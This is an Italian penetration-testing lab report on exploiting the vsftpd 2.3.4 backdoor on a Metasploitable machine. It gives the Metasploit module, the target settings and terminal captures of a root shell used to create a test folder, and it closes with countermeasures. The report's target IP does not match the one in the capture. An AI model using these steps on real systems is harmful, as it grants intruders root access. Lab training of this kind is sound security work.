

Report di Penetration Testing: Exploit vsftpd su Metasploitable

Sommario Esecutivo

Questo report documenta l'esecuzione di un attacco di penetration testing contro un servizio vsftpd vulnerabile su una macchina Metasploitable. L'obiettivo è stato compromettere il sistema e creare una cartella specifica nella directory root, dimostrando l'accesso privilegiato ottenuto.

Informazioni sul Target

- **Indirizzo IP:** 192.168.1.149/24
- **Sistema Operativo:** Linux (Metasploitable)
- **Servizio Vulnerabile:** vsftpd 2.3.4

Metodologia di Attacco

1. Ricognizione

- Identificazione del target all'indirizzo 192.168.1.149
- Verifica della raggiungibilità del target tramite ping
- Scansione delle porte usando Nmap per identificare i servizi attivi

2. Identificazione delle Vulnerabilità

- Rilevata vulnerabilità nota nel servizio vsftpd versione 2.3.4
- La vulnerabilità consiste in un backdoor inserita nella versione 2.3.4 di vsftpd che consente l'accesso non autorizzato

3. Sfruttamento (Exploitation)

- Avvio di Metasploit Framework utilizzando ``msfconsole``
- Ricerca dell'exploit appropriato: ``search vsftpd``
- Selezione dell'exploit: ``use exploit/unix/ftp/vsftpd_234_backdoor``
- Configurazione dei parametri dell'exploit:
...
`set RHOSTS 192.168.1.149`
`set RPORT 21`
...
- Esecuzione dell'exploit: ``exploit`` o ``run``
- L'exploit ha richiesto l'inserimento di un valore per USER, che è stato fornito
- Connessione stabilita con successo al sistema target

4. Post-Exploitation

- Ottenimento di una shell sul sistema compromesso
- Verifica dei privilegi ottenuti (tipicamente root nel caso di questo exploit)
- Navigazione alla directory root: ``cd /``
- Creazione della cartella richiesta: ``mkdir test_metasploit``
- Verifica della creazione della cartella: ``ls -la | grep test_metasploit``

Risultati

- Exploit eseguito con successo
- Ottenuto accesso al sistema con privilegi elevati
- Creata la cartella specificata (`/test_metasploit`) nella directory root
- Dimostrato il controllo completo sulla macchina target

Contromisure Raccomandate

- Aggiornare vsftpd alla versione più recente (`>2.3.4`)
- Disabilitare i servizi non necessari
- Implementare un firewall per limitare l'accesso ai servizi esposti
- Eseguire regolarmente scansioni di vulnerabilità
- Monitorare attivamente i log di sistema per comportamenti sospetti

Conclusioni

L'esercizio ha dimostrato con successo la vulnerabilità presente nella versione 2.3.4 di vsftpd. È stato possibile compromettere il sistema e ottenere privilegi elevati che hanno permesso la creazione di una cartella nella directory root. Questo tipo di vulnerabilità evidenzia l'importanza di mantenere aggiornati i software e implementare solide pratiche di sicurezza.

Nota: Questo report è stato creato a scopo puramente educativo nell'ambito di un esercizio di sicurezza informatica in ambiente controllato.

```
kali@kali2023: ~  
File Actions Edit View Help  
ckdoor  
msf6 > use 1  
[*] No payload configured, defaulting to cmd/unix/interact  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options  
Module options (exploit/unix/ftp/vsftpd_234_backdoor):  


| Name    | Current Setting | Required | Description                                                                                                                                                                                         |
|---------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                                                                                                                            |
| CPORT   |                 | no       | The local client port                                                                                                                                                                               |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][ ... ]                                                                                                                                      |
| RHOSTS  |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT   | 21              | yes      | The target port (TCP)                                                                                                                                                                               |

  
Exploit target:  


| Id | Name      |
|----|-----------|
| 0  | Automatic |

  
View the full module info with the info, or info -d command.  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.50.200  
RHOSTS => 192.168.50.200  
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > █
```

```
kali@kali2023: ~  
File Actions Edit View Help  
TX packets:1424 errors:0 dropped:0 overruns:0 frame:0  
TX packets:1400 errors:0 dropped:0 overruns:0 carrier:0  
collisions:0 txqueuelen:1000  
RX bytes:72224 (70.5 KB) TX bytes:0 (0.0 B)  
  
lo  
Link encap:Local Loopback  
inet addr:127.0.0.1 Mask:255.0.0.0  
inet6 addr: ::1/128 Scope:Host  
UP LOOPBACK RUNNING MTU:16436 Metric:1  
RX packets:163 errors:0 dropped:0 overruns:0 frame:0  
TX packets:163 errors:0 dropped:0 overruns:0 carrier:0  
collisions:0 txqueuelen:0  
RX bytes:37933 (37.0 KB) TX bytes:37933 (37.0 KB)  
  
shell  
[*] Trying to find binary 'python' on the target machine  
[*] Found python at /usr/bin/python  
[*] Using 'python' to pop up an interactive shell  
[*] Trying to find binary 'bash' on the target machine  
[*] Found bash at /bin/bash  
pwd  
/root@metasploitable:~#  
root@metasploitable:~# cd /  
cd /  
root@metasploitable:~# mkdir test_metasploit  
mkdir test_metasploit  
root@metasploitable:~# ls -la | grep test_metasploit  
ls -la | grep test_metasploit  
drwxr-xr-x 2 root root 4096 Mar 11 11:33 test_metasploit  
root@metasploitable:~# █
```